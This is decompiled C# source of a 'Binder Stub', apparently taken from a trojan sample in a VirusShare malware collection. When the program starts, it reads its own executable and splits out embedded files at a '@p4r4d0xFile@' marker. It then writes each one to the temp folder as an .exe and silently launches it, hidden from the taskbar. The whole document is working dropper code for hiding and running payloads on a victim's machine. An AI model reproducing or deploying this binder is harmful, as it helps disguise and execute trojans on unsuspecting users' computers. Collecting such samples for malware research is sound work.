// Decompiled with JetBrains decompiler // Type: Binder_Stub.Form1 // Assembly: Binder Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 43E2AE62-0C7A-43F6-8745-1964EA1123A8 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.VBKrypt.fzvf-71724857be7cdc3b0cda6cc6d5a426fde720e3ccff6769399c5b3644c1c024c0.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.Windows.Forms; namespace Binder_Stub { [DesignerGenerated] public class Form1 : Form { private IContainer components; private string filesplitter; private string stub; private string[] files; public Form1() { this.Load += new EventHandler(this.Form1_Load); this.filesplitter = "@p4r4d0xFile@"; this.InitializeComponent(); } [DebuggerNonUserCode] protected override void Dispose(bool disposing) { try { if (!disposing || this.components == null) return; this.components.Dispose(); } finally { base.Dispose(disposing); } } [DebuggerStepThrough] private void InitializeComponent() { this.SuspendLayout(); this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; this.ClientSize = new Size(379, 250); this.Name = nameof (Form1); this.ShowInTaskbar = false; this.Text = nameof (Form1); this.TransparencyKey = Color.FromArgb(224, 224, 224); this.ResumeLayout(false); } private void Form1_Load(object sender, EventArgs e) { FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read); this.stub = Strings.Space(checked ((int) FileSystem.LOF(1))); FileSystem.FileGet(1, ref this.stub); FileSystem.FileClose(1); this.files = Strings.Split(this.stub, this.filesplitter); int num1 = checked (Information.UBound((Array) this.files) - 1); int index = 1; while (index <= num1) { FileSystem.FileOpen(1, Environment.GetEnvironmentVariable("temp") + "\\p4r4d0xTemp" + Conversions.ToString(index) + ".exe", OpenMode.Binary, OpenAccess.Write); FileSystem.FilePut(1, this.files[index], -1L, false); FileSystem.FileClose(1); checked { ++index; } } int num2 = checked (Information.UBound((Array) this.files) - 1); int num3 = 1; while (num3 <= num2) { Process.Start(Environment.GetEnvironmentVariable("temp") + "\\p4r4d0xTemp" + Conversions.ToString(num3) + ".exe"); checked { ++num3; } } this.Close(); } } }